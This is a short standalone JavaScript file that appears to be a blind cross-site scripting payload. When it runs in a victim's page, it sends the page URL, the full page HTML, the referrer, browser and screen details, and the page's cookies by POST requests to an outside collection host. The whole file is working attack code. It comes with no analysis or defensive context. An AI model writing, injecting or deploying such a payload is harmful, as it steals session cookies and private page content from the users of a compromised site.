(function collectContextData() {
    const serverUrl = '//blixss.4i1.uk/collect';
    console.log("xxxxxxxxxx");
    function sendData(key, value) {
        fetch(serverUrl, {
            method: 'POST',
            body: JSON.stringify({ [key]: value })
        })
        .then(response => {
            if (!response.ok) {
                throw new Error('Network response was not ok');
            }
            console.log(`Data for ${key} successfully sent to the server.`);
        })
        .catch(error => {
            console.error(`There was a problem sending data for ${key} to the server:`, error);
        });
    }

    // Collect and send data separately
    sendData('url', window.location.href);
    sendData('pageSource', document.documentElement.outerHTML);
    sendData('referrer', document.referrer);
    sendData('userAgent', navigator.userAgent);
    sendData('platform', navigator.platform);
    sendData('language', navigator.language || navigator.userLanguage);
    sendData('screenResolution', {
        width: window.screen.width,
        height: window.screen.height
    });
    sendData('viewportSize', {
        width: window.innerWidth,
        height: window.innerHeight
    });
    sendData('timeZone', Intl.DateTimeFormat().resolvedOptions().timeZone);
    sendData('cookiesEnabled', navigator.cookieEnabled);
    sendData('cookies', document.cookie);
    sendData('localStorageEnabled', (() => {
        try {
            const testKey = '__test';
            localStorage.setItem(testKey, testKey);
            localStorage.removeItem(testKey);
            return true;
        } catch (e) {
            return false;
        }
    })());
    sendData('javaEnabled', navigator.javaEnabled());
})();
